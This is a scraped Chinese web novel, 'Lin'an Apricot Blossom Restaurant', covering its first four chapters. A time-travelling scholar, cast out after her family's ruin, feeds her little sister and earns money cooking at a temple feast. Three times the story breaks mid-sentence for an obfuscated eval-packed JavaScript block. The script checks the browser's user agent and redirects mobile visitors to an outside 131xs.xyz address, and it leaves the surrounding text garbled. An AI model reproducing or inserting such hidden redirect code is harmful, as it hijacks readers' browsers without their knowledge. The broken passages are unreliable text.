《临安杏花饭馆》
1. 八宝粥
“江娘子,你的死活,与我陆家再无关系!快快走远些!”陆府后门,台阶上的婆子这般说着,扔出个小包袱,还掸了掸衣裳,像在掸走晦气。
江清澜去捡地上的包袱,幼妹胆子倒大,上去拉扯那婆子:“你骗人!我们要见陆阿兄!”对门里喊,“陆阿兄,快出来!”
婆子一推,小女孩后退几步,差点儿摔倒,幸好被江清澜接住了。
“什么阿兄,也是你们配提的?”婆子鄙夷道,“江家触犯天颜,抄家流放。我们陆家好心,给的是和离书,而不是休书,少在这里恩将仇报,胡乱攀扯!”
婆子说完,哐一声把门关了。
小女孩不服气,挣扎着还要去拍门,让江清澜紧紧搂住了。“算了,没用的……”停了下,又说,“别怕,还有阿姐呢。”
一句话,让小女孩泪流满面。“阿姐——”
江清澜在心里默默叹气:开局不利啊。
她昨天凌晨,还在熬夜肝博士论文开题报告呢,头疼得要死,但为了deadline,还是拼了,没想到,猝死后穿在了这个不幸的女子身上。
她还有一些原身的记忆。
原身上花轿的时候,父亲江渊接了圣旨入宫。在陆家拜堂的时候,她突然听闻家里被抄的消息。父亲不堪受辱,触柱身亡,母亲也投了井。原身惊厥昏迷,估计夜里就过身了。
世态炎凉。
陆家二郎原是她父亲的属下,人长得不错,也上进,当初求娶也是费了好些心思,父亲才答应的。如今出了事,陆家老夫人急于撇清干系,等她一醒,就要和离。
和离也行,左右江清澜是穿越来的,与这个陆阿兄没感情。她家里又败了,赖在别人这里也是看眼色,便同意了。只是,她提出返还嫁妆。
陆老夫人脸皮倒厚,竟说她的嫁妆本就不厚,如今陆家在婚礼上花销颇多;又为了捞她幼妹出来,上下打点,花了不少银子;还说昨夜请名医给她看病,人参就用了两根……
总之,是不肯返还了。
当然都是谎话。幼妹不到五岁,抄家也不会没为奴婢,至于什么人参,骗鬼呢……
但江清澜如今人单力薄,就算报到衙门去,江家如今这情况……算了,日后再做打算吧。
一边牵着抽噎的幼妹往巷子外面走,她一边盘算着:当下最重要的是,如何赚到钱?
小说女主都是穿越到公主、皇后身上,穿金戴银,怎么到了她,就这么倒霉?
普通人过日子,油盐酱醋茶,吃的、喝的、穿的、用的,每天一睁开眼就是花销。现下,她的包袱里只有几钱碎银子,供她们两个,莫说租房子,便是喝粥,也撑不了多久。
江清澜抬起头,看了看眼前的通衢大街,寻找着机会:
天色还未全亮,路上已有很多人了。有些汉子挑着扁担,从候潮门外进来,筐子里装着水灵灵的大白萝卜、碧油油的青菜,上面都还挂着颗颗晶莹的露水呢——这是郊外的菜农进城来卖菜。
路边的小商贩已经支起了摊子,正在往上面摆物什:有卖花的、卖珠子的、卖绒线的、卖小玩意儿的,琳琅满目。
她昨天晚上基本上搞清楚了,这个朝代类似历史上的宋朝,此地也唤作临安,但似乎并没有经历过靖康之耻。如今是承平十五年,皇帝才传到第二代。
想着想着,走到了一个早点摊前,大铁锅里熬着香浓的粥,竹制蒸笼上腾腾冒着热气,想是在蒸包子、馒头。大米、小麦的香味,弥漫开来,刺激得人满口生津。
那些进城卖菜的汉子,走累了,坐在摊子边,一边歇脚,一边等着包子出笼。
江清澜眼睛亮了。
上辈子,她的科研压力极大,不写论文的时候,就爱捣鼓吃的,尤其爱重现古代的食物,什么蜜饯雕花、槐叶冷淘、荔枝膏水都做过,身边的人都说好吃。
有时候,做完了随手拍个照发在小红书上,几年下来,还成了美食博主。
宋代的商品经济极为发达,市民对商人也不像其他朝代那般鄙视。假如,她也支个摊子卖饮食,不说大富大贵,温饱能解决吧?江清澜跃跃欲试——她对自己的手艺有信心。
“阿姐……”幼妹拉着她,脸上泪痕还未干,眼睛巴巴望着摊子冒着热气的粥。
江清澜捏捏她的脸蛋,微笑:到底是小孩子呢,天塌下来也饿不得肚子。
她花了十二文钱:两文买了八宝粥,二人共吃一碗。十文买了两个包子。只包子还蒸着,先上的是粥——
这并不是只有大米的白粥,还加了黄、灰、红、绿的各种干果。
因熬得极为浓稠,大米已碎得不成样儿了,瞧得出来的:灰色圆圆的,是去了核儿的桂圆;红色椭圆的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626213|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,是脱了骨的红枣;点点碎红,是枸杞;那绿色的,自然就是葡萄干儿了。
除却这些干果,粥里还有雪梨、苹果等水果,只切得小,又熬得碎了,只余下了香气与甜味儿。
小姑娘轻轻抿了一口,哎呀,软软糯糯、又香又甜,且那甜并不是蔗糖的纯甜,而是水果的清甜。
——她赶忙又舀了一大勺,桂圆肉一抿就化了,葡萄干儿却还有点儿嚼劲儿,芝麻碎好香好香啊。
小姑娘吃着吃着,怕是想起了她的爹爹阿娘,抽抽鼻子,大颗大颗的泪珠子掉进碗里。
江清澜心里默哀:也是,一夜之间从官家小姐到饿肚子,成年了的原身都受不了,何况这个四岁的小孩呢?
她用手背揩去小姑娘的泪珠:“团团别怕,还有阿姐呢,我们要往前看。努力吃饭,快快长个儿,阿爹阿娘在天上看了也高兴的。”
小姑娘听懂了,用力吸吸鼻子,大口大口吃起来。
但江清澜也愁得很,她方才观察了,摆摊儿也不简单。好比这个早点铺:第一,摊位是固定的,恐怕得花银子去府署里租。
第二,原材料得准备,比如锅、蒸笼、碗、筷子;还得买食材:面粉、大米、猪肉……万一生意不好,还得算上损耗……
她包袱里那几个铜板,可不敢这么折腾,摆摊儿暂时不行了。那么,有没有什么活儿,是稳赚不赔的?
天光略微亮了些,街市上人多了起来,除了商贩,还有一些空着手的行人,男女老少都有,都匆匆往御街南边去了。他们的衣着并不光鲜,不像是出来闲逛买东西的。
“娘子,”江清澜询问老板娘,“这些人是去哪儿?”
老板娘正捡了包子出笼,松软雪白的两个包子挤在青花碟子里,可爱得很。“他们是去侯潮门外的侩市,去得早,活路才好,才赚得到钱。”
江清澜的博士论文是唐宋文学方向,唐宋市民生活的书也看过几本。她知道,侩市,说白了就是人力市场,找日结零工活儿的。
宋代的侩市很多,一大早,雇工们就聚集在某个约定俗成的地方,等着雇主来挑人。木竹匠人、砖瓦泥工、挑夫劳力、厨娘绣娘,各色工种都有。
如今看来,就在候潮门外了。
江清澜有了计较,连忙让妹妹两口吞了粥。
“娘子,包子打包带走!”
2. 大葱肉包
侯潮门临近皇宫及临安署衙,恐扰了贵人们的好梦,城内商贩、行人虽多,高声吆喝的绝少。
候潮门外就不同了,人烟更盛,加之钱塘江潮水涌动、橹工划船嘿哟嘿地吆喝,到处都是闹哄哄的。
远处,有些大船尚在江中航行,更多的货船已经靠岸。役夫顺着船板来来往往,在往岸上运送粮食、货物。
近处便是侩市,一些人站在侩人的身后,神态悠闲,像是找到了活儿的。也有补觉的,一个个挨着墙根靠着,打起了瞌睡。还有些人三五成堆,竟在玩着“关朴”[1]的赌博游戏。
哎呀,看起来跟现代的零工市场很像嘛,打瞌睡的,打牌的,啥都有。
牵着团团转了几圈,江清澜弄清楚了。虽说宋朝经济发达,可相比男性,这个侩市里,女性能干的零工还是有限。
最好是做女侩,也就是劳力中介。雇主把招人这件事交给熟识的女侩,她们赶早便来这里招人——譬如奶娘、女伎,这些人男子是不好去招的。
至于雇主给多少钱,女侩又给雇工多少钱,她中间能赚多少差价,都是自己打算。
这是最赚钱的,但需要人脉,还需要时间,江清澜没法做。
其次,是做针线娘子。高门显户家要办喜事的,赶时间缝制喜被、喜帕。家养绣娘赶不及,就来这里招一批针线娘子去做,管吃管喝不说,一日还给一百文工钱。
但这也有要求,针线功夫自不必说了,还得细皮嫩肉,不能干过粗活儿的,因手粗,容易把金贵的绸缎给摸糙了。
江清澜看看自己的手,细皮嫩肉倒是够格,就是光敲键盘写论文去了,从没拿过针线。
这时候,有个二十七八的妇人举个木牌子,上面写着“七十文一日”,边走边吆喝:“建隆寺庙会,设宴三日,招厨娘五名,管吃不管住,只做中午一顿。”
几个女娘一窝蜂凑往上凑,江清澜和团团也赶紧跑去,听她们七嘴八舌推销自己:
“娘子,上元节建隆寺设宴,我也干过。”
“之前,我在宋五嫂鱼羹铺里打过零工。”
“我也在李婆婆杂菜羹店里做过事儿。”
江清澜:“我……”
招人得要熟手,写简历要写工作经验,这个道理谁都懂。
但江清澜现在,好像真没什么拿得出手的。文学博士?没什么用,美食博主?人家也听不懂。
女侩记下了方才那几人的名字,这就要走。江清澜终于憋出一句:“娘子,我……我做饭特别好吃!”
跟在女侩身后的那几个娘子,听了这话,都吃吃笑起来。
江清澜脸有点儿红。是了,现在自己的表现,像极了清纯且愚蠢的职场菜鸟。
女侩倒老练,上下打量江清澜,又看了她牵着的小女孩,道:“娘子的手又白又嫩,不像干过厨房里的活儿的。”
她们女侩看人准得很,这人肤白貌美、唇红体健的,非富贵人家养不出来。怕不是哪个府上的小娘子,携了幼妹溜出来玩儿的。
真要是请了她去,家人找了来,自己的麻烦就大了。
“娘子留步,”江清澜有点儿急了,“实话告诉娘子,家道中落,父母俱亡,只剩了我与幼妹两个,实在没有活路,才上此处来找工。求娘子可怜可怜。”
团团小姑娘倒机灵,抽抽鼻子,扁扁嘴,顿时就泪眼花花的,瞪着一双大眼睛,可怜巴巴地望着那女侩。
江清澜见她还在犹豫,又道:“我绝非吹嘘,娘子可让我试试,第一日不给钱。若满意,第二日把钱补上也行。”
女侩终于点头,让她牵着团团,也站到身后去。江清澜这才松口气——至少这三天有着落了。
建隆寺在西边凤凰山下,离这里还有些距离。女侩王蕙娘招满了人,带着她们就往那边走。
时辰尚早,几个女娘都备了路餐的,从包袱里翻出来吃。
有的是干粮,黄米面枣儿糕、果馅儿寿糕之类的,有两个带的是卷饼,里面包着些肉丝儿、细菜。
女侩姓王,唤作蕙娘。她和江清澜带的一样,是肉包子。不同的是,她一人吃三个,江清澜她们一人吃一个。
团团是个小馋猫,吃什么都香,口口塞得两颊鼓鼓。
包子里的肉馅儿是提前用秘制酱料炒过的,加了点儿豆酱,香喷喷、油滋滋的,咸香可口,却并无腻口的肥肉。
一口下去,先是松松软软的皮,再是满满当当的肉,到后来,牙齿碰到那切成了细丝的大葱,葱香四溢,增添了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626214|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
份属于蔬菜的清爽,丝丝回甜,回味无穷。有些脆脆的口感,可能是放了荸荠的缘故。
还有那色泽金黄、浮着点点油圈儿的汤汁,饱吸了肉香与葱香,现在还热乎乎的,香得团团直吸气。
江清澜也尝了几口,面皮松软雪白,着实好吃。看着身边的小姑娘,怕后者吃不够,她自己便吃得很慢,只揪着面团儿吃。
正举着包子,想给团团,身边旋风似的,一群人骑着马飞驰而过。江清澜右臂让人一拉,几乎栽倒,手上的包子也骨碌碌滚到了地下。
江清澜抬头看:约七八个少年,高歌嬉笑,纵马奔腾。他们皆着黑衣窄袖劲装,戴黑网璞头,上面插着红色蔷薇花。
为首那人却有些不同,不戴璞头、不簪花,头戴金冠,额系红色抹额,任黑发与红巾在风中猎猎翻飞。
江清澜捡起包子,拍拍灰,面上虽然还算平静,心里却愠怒得很。
现代有风驰电掣的摩托车手,此时有目中无人的纵马郎君,鬼火少年哪里都有!
方才是王蕙娘拉了她一把,这时又提醒:“我看娘子市井经验不多,特以相告,若在内城见着这些蹴鞠郎君,可千万离远些。”
其实,她们已经走到嘉会门外了,路面宽得很,正常路过,断不会撞到人。是这些鬼火少年故意往人堆里凑,装×呢!
等等。“蹴鞠?”
王蕙娘点头:“正是,嘉会门外有蹴鞠场,这些王侯贵公之子经常骑马去蹴鞠。”
宋朝蹴鞠之风兴盛,上至天子,下到百姓,都热爱蹴鞠。因球为充气空心,故谓之“踢气球”。《水浒传》里,高俅就是靠蹴鞠的高超技艺得到端王赏识的。
但是,就算踢成了巨星,江清澜心里还是瞧不起这些人。
她上辈子是卷王,上中学就跳级,二十二岁就读到了博士。熬了无数个大夜,才发了几篇C刊。结果那一年的国家奖学金还是给了其他人,因为他是另一个学院院长的儿子。
会踢球又怎么样,还不是官二代+鬼火少年,仗着父母权势,目中无人,讨厌得很。
但其他几个娘子好像不这么看,尤其两个没结婚的,窃窃私语着。那个姓钱的娘子红着脸,声音都颤抖了:“最前头的……谢世子,真好看呐!”
3. 斋菜大乱烩
谢临川把红色抹额取下来,往旁边一投,捧着凉水哗啦啦往脸上泼。
小厮平林在外间捧着衣服,小心翼翼地说:“世子爷,还是传些热水来吧,踢了球又洗冷水澡,若老祖宗知道了……”
“闭嘴!”
谢临川正烦着,方才踢球踢得不痛快,一个二个跑得又慢,传球又差,明显是让着他。进了五个球又怎么样,没意思。
他深吸口气,一个猛子扎进水池里。
平林半天听不见呼吸声,又不敢多嘴问,心惊肉跳着。许久许久,才听到水声哗啦,平林松口气。
“什么时辰了?”
“回世子爷,快午时了。”
谢临川用擦身巾胡乱擦擦,穿好衣服,戴了璞头。“走,去建隆寺。”
……
宋代尚佛,临安城里及近郊,光寺庙就有五十多处,庵堂、道观也有二十多处。其中,尤以嘉会门外的建隆寺香火最盛。
逢佛诞日及上元、端午、中秋等佳节,建隆寺均要免费设宴三日,以飨各位香客。富贵人家为了显示一心向佛,贫苦百姓、乞丐等为着糊口,都会去分一杯羹。
东平王府的谢老夫人笃信佛理,在家里供奉了佛龛香案不说,每年的佛诞日,都要亲往建隆寺祈福。
今日一大早,她就携了几个丫鬟,在建隆寺住下了。
谢临川下了马,往后边的明音禅院里奔:“祖母!”
谢老夫人正在敲木鱼,见他笑嘻嘻的过来,佯嗔道:“你说要送祖母,送到蹴鞠场去啦?”
谢临川也不否认:“我想着祖母呢,不过就踢了一会儿,汗都没出,这就赶着过来了。”
谢老夫人知他撒谎,也不拆穿。
今天早上她要来寺庙,儿子说送她来,小孙子抢着也要送,她就知道,其中有猫腻。刚出了东平王府大门,人就没影儿了,踢到现在才回来。
这个小孙子自小模样就长得好,性子也活泼,喜欢蹴鞠、争标[1]之类的,年年宫里蹴鞠、钱塘江弄潮都出尽了风头。
偏他父亲拘着,让他考科举,走文官的路子。
谢家两个女婿都是两榜进士,就这个三郎考了三年,连个秀才也没捞着,他父亲嫌丢人,也不让再去考了。
想到这里,谢老夫人问:“前日我听你爹说,让你去临安府尹的赋税司当差,这还没去点卯呢?”
“哎哟,祖母——”谢临川从椅子上跳下来,破颜一笑,露出雪白的牙齿,嘴角两个深深的酒窝。
“在家里就听父亲唠叨这些,到这儿了,您老就让孙儿耳朵清静清静吧。”说着,往谢老夫人嘴里塞了个菜卷儿。
“这建隆寺的斋饭最是难吃,孙儿知道不合您老胃口,还带了丰乐楼的春盘小菜卷儿呢,您尝尝?”
谢老夫人信佛。但也好吃,尤其喜欢吃荤。她每每吃了大鱼大肉,就通体舒泰,但又担心菩萨怪罪。
是以,她矛盾得很,吃肉越多,奉佛越勤,香火钱也越捐越多。
这儿的斋饭是有些难吃,不过只有三天,忍忍就过去了。哪知道,这孩子当着菩萨的面,就这样明目张胆地说了出来。
嚼了几下,还好还好,是素菜卷儿。她匆忙两口咽了。
蔬菜清爽,面皮薄软,果然比斋饭好吃多了。
但她绷着脸,打谢临川的手:“胡闹!什么好吃不好吃的,吃斋饭讲究的是心诚!”
谢临川嘿嘿不说话。
过了一会儿,谢老夫人咂咂嘴,背对着佛像,低声问:“还有没?”
……
建隆寺东北,香积厨外的院子里,搭了一溜儿的棚子,这是为着今天的斋饭特意搭的。
三个现砌的大土灶下,架着木柴,燃着熊熊火焰,上面放着巨大的铁锅。两个锅里还坐着水,升起腾腾的白烟,一个锅里却不放水,倒了小半锅的菜籽油。
王蕙娘招的五个厨娘,两个自称以前没上过灶,只好负责切菜。包括江清澜在内的余下三个,一人负责一口锅,做的都是一样的——白菜萝卜粉丝豆腐蘑菇大乱烩。
王蕙娘一看,江清澜负责的锅里油汪汪的。她有些发愁。
早上在侯潮门外的侩市里,自己一时心软,招了这娘子来。现在看,她着实不会做菜,别的厨娘都是先放水的,哪像她这样,先把油倒进去那么多。
她也有主意,先看看这娘子的手艺,实在没办法,她自己也可以顶上。
江清澜上辈子去爬山的时候,吃过庙里的斋饭。当时她就发现了,世人有个误解,以为斋饭清淡少油。
其实不然。斋厨的大师傅告诉她,斋饭无荤,必须要宽油热油,甚至盐也要略多放一点儿,不然吃得嘴里没滋没味儿,肚子饱了,嘴巴却像没吃一样。
她等锅里油热了,先放一勺盐,在油里搅散了,才把又大又厚的豆腐块儿轻轻滑入锅中。
豆腐块儿们入锅,油泡儿起来了,刺啦刺啦地响,香气也开始四处弥漫。两面炸至金黄,变定型了,用大铁铲铲出来,装在竹制的大簸箕里,沥干备用。
剩下的油还很多,江清澜铲起一半,又放葱姜蒜段进去炒香,少放些豆酱,将白萝卜块儿、大白菜梗儿、蘑菇片儿一股脑儿倒进去炒。
最后一步,才是倒水。等水开了,熬煮了许久,才最后放泡发好的粉丝。
这还没完呢。
方才炸豆腐的油还剩了些,送到小灶上加了热,大烩菜锅里撒了小葱段后,江清澜手腕稳稳的,用大铁勺一勺勺往烩菜上泼热油。
刺啦——刺啦——刺啦——热油入锅,响声不断。
哎呀,烩菜里原来有萝卜、白菜,清香四溢;有平菇,鲜香扑鼻;还有炸得金黄的油豆腐,豆香满满。
这下子,葱段特有的香味,被热油猛激,散得院子里到处都是,更在这丰富的香味里再添了一重。
江清澜舀起一碗,递了过去:“娘子尝尝?”
最开始的时候,王蕙娘还有点儿担心,后来闻到香味,满口生津,哪里还想着什么其他,只想赶紧捞一碗起来吃罢了。
第一口吃的是豆腐。油炸后的豆腐软软的,最外面是一层焦皮,咬破后,内里网状的豆腐絮包裹了满满的汤汁,又鲜又咸,又香又浓。小小一块豆腐,竟然吃出了红烧肉的味道!
又吃白菜、萝卜。真是奇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626215|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,明明还是那两种菜,却一点儿不寡淡。粉丝软烂,还吸饱了味道,入口即化,满口留香。
江清澜又从甑子上打了小半碗米饭:“娘子,再用烩菜的汤,泡这米饭试试?”
烩菜的汤汁呈褐黄色,因粉丝的胶质被熬了进去,略有些黏糊糊的,米饭一放,就被汤汁裹满了。
王蕙娘先尝了小口,眼睛亮了,三两下把碗里的米饭全刨了,低声道:“天爷,怕是官家、娘娘,也没吃过这般好吃的斋饭。”
江清澜忙道:“那我的工钱?”
王蕙娘又去舀饭和烩菜:“结!今天就结!”
见其他几个厨娘都站着,面面相觑,她又道:“放心,今天的工钱都一样结。现在大伙儿都先吃饭,万一这几锅烩菜不够,待会儿还得做。”
那几个厨娘见王蕙娘吃得香,纷纷去舀江清澜做的,只有钱娘子舀了自己锅里的。
有人好心说:“你试试江娘子的,着实好吃。”
钱娘子以前在有名的宋五嫂鱼羹铺做过事,有些拔尖儿心气。
这下被江清澜比了去,她心里不高兴,但脸上还是笑着:“我就爱吃自己做的。”
——
午时四刻了,开始放斋饭,香客们在院子里排起长队,大和尚们有的打饭,有的打菜,有的维持秩序,有条不紊。
谢老夫人是贵客,为了表示向佛的诚意,才与平民、乞丐共吃一锅斋菜。
不过,她也不用自己排队,小沙弥端了两份餐食,恭恭敬敬地送去明音禅院。
小沙弥经常给贵客们送饭,十分机灵。
免费的斋饭难入贵人的口,大家都知道,但为了诚心,他们又不能不吃或剩下。所以每次给贵客的,他都只打了小半碗。
谢老夫人偷吃春盘小菜卷儿,都有些吃饱了,但接了斋饭,也得硬吃。
谢临川还在禅房院子里,把个小石头当球踢,一会儿倒挂金钩,一会儿临空抽.射,闪转腾挪、飒爽英姿。那石头竟像粘在他身上一样,叫怎样就怎样。
谢老夫人叫他:“三郎,你也不嫌脚疼,快进来吃斋饭。”
谢临川知道,多少得应付几口,刚坐下端起碗,就听祖母惊叫:“欸,今天这斋饭有点儿不一样啊!”
谢临川尝了两口,是有点儿不同。
他也算嘴巴刁的,丰乐楼的东西有些都瞧不上眼,往年吃斋饭,都不尝味儿,直接往肚子里倒。今年这个,怎么吃出了炖鱼肉、炙羊肉的鲜香?
谢老夫人吃完了,有点儿不好意思,对侯在门外的小沙弥说:“小师傅,斋饭还有吗,老身还想吃点儿。”
这确实不好意思,因为普通人吃斋饭只能一人吃一份儿的。
然而,谢老夫人可不是普通人,而是建隆寺香火钱捐得最多的那种人。
小沙弥又去舀了两份儿,装足了量的,给谢临川的那份儿,还多添了些。
这正合谢临川的意。
碗又见了底,谢老夫人嘴巴虽还想吃,肚子却再也装不下了。她气不过,又打孙子的手:“都怪你!让我吃什么春盘菜卷儿,都没空地儿了!”
谢临川:……
4. 冰糖水果串(一)
江清澜干活儿之前,就认真与团团交代了,寺里寺外人多,就在这香积厨院子里玩儿,不可乱走,小心让拍花子的拍走了。
可团团到底是小孩子,想去外面看热闹,一转眼就不见了。
对这个妹妹,江清澜是很看重的。一来是占了她姐姐的身子,多少得承担些责任,二来,小姑娘着实长得可爱,脸蛋儿雪团子般,脑子也机灵,让人不得不爱。
江清澜顾不上吃饭,取了布索攀膊,出去找人。
幸好团团没走远,就站在旁边北禅院的门口,直勾勾盯着大门外来来往往的人,像在找人似的。
“团团,回去吃饭了呀,”江清澜摸摸她毛茸茸的脑袋,“你在找谁呢?”
团团又巴巴看了两眼:“我想,兴许陆阿兄会来上香?若是看到了他,我就求他接我们回去。”
江清澜听了,心里涩然。关于这位前夫哥与原身的事,她脑子里没有记忆。但看团团的反应,二人有情没情不知道,至少前夫哥是很花了些心思的。
江清澜蹲下来,与团团眼睛齐平,郑重地说:
“阿姐知道,陆二郎以前对团团好。但现在不一样了,我们被陆家赶了出来,陆二郎不可能不知情的。所以,阿姐和团团现在都跟陆二郎没关系了,不必盼着他。”
团团开始冒泪花了,嘴巴也扁了起来:“可以前……陆阿兄说……说,会一辈子对阿姐……”小姑娘哽咽着,还是努力把话说完,“对阿姐和团团好的。”
江清澜心道:男人的嘴,骗人的鬼!
“那是因为他是咱们爹爹的下属,他这样说,爹爹才让他升官。现在爹爹不在了……”
听到“爹爹”两个字,小姑娘的眼泪越冒越多。
江清澜心里难受,但她相信,团团如此聪明,非得要把道理讲清楚,她才过得了这一关。
“爹爹娘娘不在了,还有阿姐呢。团团和阿姐不靠别人,都要自己努力,以后给爹爹娘娘伸冤,好不好?”
团团奋力地点了下头。
“现在,阿姐带团团去吃烩菜,临安第一,不,大宋第一好吃的那种!”
“真的?”
“真的!”
“我相信,阿姐做饭一直都很好吃!”
她们不知道,寺庙门口,真有几个人,在鬼鬼祟祟地监视着。
……
建隆寺庙会设宴,只有中午吃烩菜,早餐、晚食都是粥,做法简单,庙里的和尚能自己解决。
吃毕了饭,王蕙娘观察过了,今日也不需要再煮烩菜了,便与几个厨娘结了工钱,约定好明日巳时初再来此地。
其他厨娘都回了家,江清澜无处可去,打听到寺里可以挂单,就在此留宿。最便宜的通铺,每晚只需要二十文,团团年纪小,不算钱。
姐妹俩跟着小沙弥,去了挂单用的禅房。
江清澜看了,觉得还行,窗纸糊得厚厚的,不会漏风。蓝花被子有些旧了,但还算干净。
通常来说,来挂单又睡通铺的女子,都是江清澜这般打零工的,要到天快黑了才来。现在,屋里只有她们两个。
团团吃饱了,有些犯困,江清澜让她脱了鞋上床去睡。小姑娘昨晚上肯定吓坏了,现在当真是困了,头沾着枕头就睡着了。
没事了,江清澜开始盘算:
她今天赚了七十文,早上买包子和粥用了八文,住宿二十文,还能剩下四十二文。
这三天都可以在寺里吃,不花钱,除去住宿,一共可以赚一钱又四十二文。
但三天以后,再去侩市找这样的零工,就得算上吃饭的钱了,要吃饱的话,一天再怎样也得花二十八文,按照她现在的行情,一天就只能结余二十二文。
别的不说,除了吃饭,两姐妹每人至少得有两套衣服、两双鞋,好换洗。
——幸好现在四月份,天气热了,不然,买冬衣、冬靴才费钱。
此外,还得买刷牙子、揩齿药[1]、绢帕、面盆等生活必需品。寺庙里没法子洗澡,去澡堂子也得花钱。
做大锅饭这活儿,很费体力,她就干了这么一顿,都有些手软脚麻了,少不得得买点膏药之类的。万一有个头疼脑热的,开方子、抓药、熬药,那更是流水的银子。
江清澜想着想着,头又开始疼了——真是哪哪儿都离不开钱!
“嘿嘿!”蓝花被子里的小团团忽然笑了两声,但眼睛还闭着。小家伙呼吸绵长又均匀,嘴角带着微笑,应是正在做着美梦。
她只露出雪球般的脸蛋儿,头顶上的两个小揪揪挨了枕头,有些乱糟糟的了。
江清澜看她可爱模样,心中烦闷散去,荡漾起无限柔情。
帮孩子掖了掖被角,她提振起心气,出门寻找商机去——她笃定,打零工只能糊口,要过上好日子,还得靠做生意。
——
明音禅院里,檀香袅袅。
谢老夫人本坐在蒲团上念经,可没一会儿,就打起了呼噜。
老人和小孩儿瞌睡多,尤其吃饱了,更是想睡。
谢临川打起内室藕荷色的帐子,招手让丫鬟夏荫过来看着,自己蹑手蹑脚出了禅室。
他找到方才送饭的小沙弥,问:“香积厨在哪边?”
小沙弥指了东北方向。
谢临川想了想,取出银色面具戴上。
临安有戴面具的风尚。
有个蹴鞠好手名唤李正,因为祖上犯了事,李家三代都被在脸上刺字。他每每参加蹴鞠赛,就戴一个银色面具,久而久之,被称为“银面将军”。佩戴面具,也一时成为风尚。
谢临川想,今日寺里人多,万一碰上一窝女人就麻烦了,戴上面具保险些。之后,健步如飞,旋风一样地走了,只把小沙弥看得咋舌。
到了香积厨,只见院子里摆着三个大铁锅,锅里干干净净的。灶底火也熄了,灰都掏了。几个大和尚正在选米——把大米倒在平平的大簸箕里,选出其中的石子儿不要。
谢临川头戴纱罗璞头,身着平素纹白色窄袖襕衫,腰间悬玉佩。虽然面上戴着银色面具,看不见脸,但那通身的气派,一看就不是普通人。
一个和尚立马迎上来:“阿弥陀佛,施主有何事?”
谢临川以前没进过厨房,现在看什么都新奇,东看看西瞅瞅,看到一簸箕大米才道:“晚上只吃粥吗?没有烩菜了?”
和尚恭敬地说:“烩菜是请外面的厨娘做的,只在中午供应。施主住在哪个禅院?明日,贫僧定让师弟早些送去。”
谢临川摆摆手,大步流星出了建隆寺,翻身上马,又往丰乐楼方向去了。
——
江清澜从后禅院侧门出来,绕一大圈儿,来到建隆寺正门外。
好家伙,早上来的时候也走的侧门,那会儿时辰早,人还不多。现如今,简直是游人如织!
大人、小孩儿、女娘、郎君,一眼望去全是人。不拘哪个佛,院子里的、屋里的、露天场的,前面的蒲团上都跪满了一排排的人。
到处闹哄哄的,人们说话的嘈杂、小孩儿哇哇的哭声、大人的呵斥声,不绝于耳。袅袅烟香四处弥漫,只要从此处经过的人,衣上都要染满“佛气”。
江清澜的心思只在商机二字上。
抬眼见,寺院正门的西边,有一排排的小屋子,里面的小商贩多是卖纸烛、佛香、许愿带之类的。
还有一些人在卖乌梅饮子。有个小男孩硬扭着大人买,在地下撒泼打滚儿,让他阿娘拎起来,狠狠打着屁.股。
江清澜眼睛一亮,有了!自古小孩儿的钱最好赚。
匆匆回到屋里,也不管孩子还睡着了,两下把她摇醒:“团团,快醒醒,阿姐带你买好吃的去。”
团团睡得迷迷糊糊的,头发也没梳,江清澜一边走一边给她用红带子绑双髻。绑好了更是牵起孩子一路小跑。
没办法,时间就是金钱,早点儿弄好早点儿赚钱!
好在,因为人多、有消费需求,建隆寺不远处就有市集,她们便不必进临安城去了。
虽然有心理准备,到了果市,江清澜还是吓了一跳。枇杷、桃子、李子、桑葚、樱桃,什么都有!就跟她上辈子逛水果店看到的一样。
还有一些荔枝,一小串一小串地装在小盒子里,很是金贵,应该是从南方炎热之地快马加鞭运过来的。
早上她就发现了,早点摊子上卖的粥里加了不少水果,那么一碗甜粥才卖两文钱。
这说明了什么?说明水果很便宜!
卖水果的汉子正端了饭在吃,一吃不对劲儿,对身边的女娘说:“嘿,今年的斋饭咋怎么好吃?!”
他们做生意的,常常不能按时吃饭,这斋饭是他娘子去寺里求来的,给他留的一半。因用盘子盖好,又以棉被裹着的,这会子还有点热气。
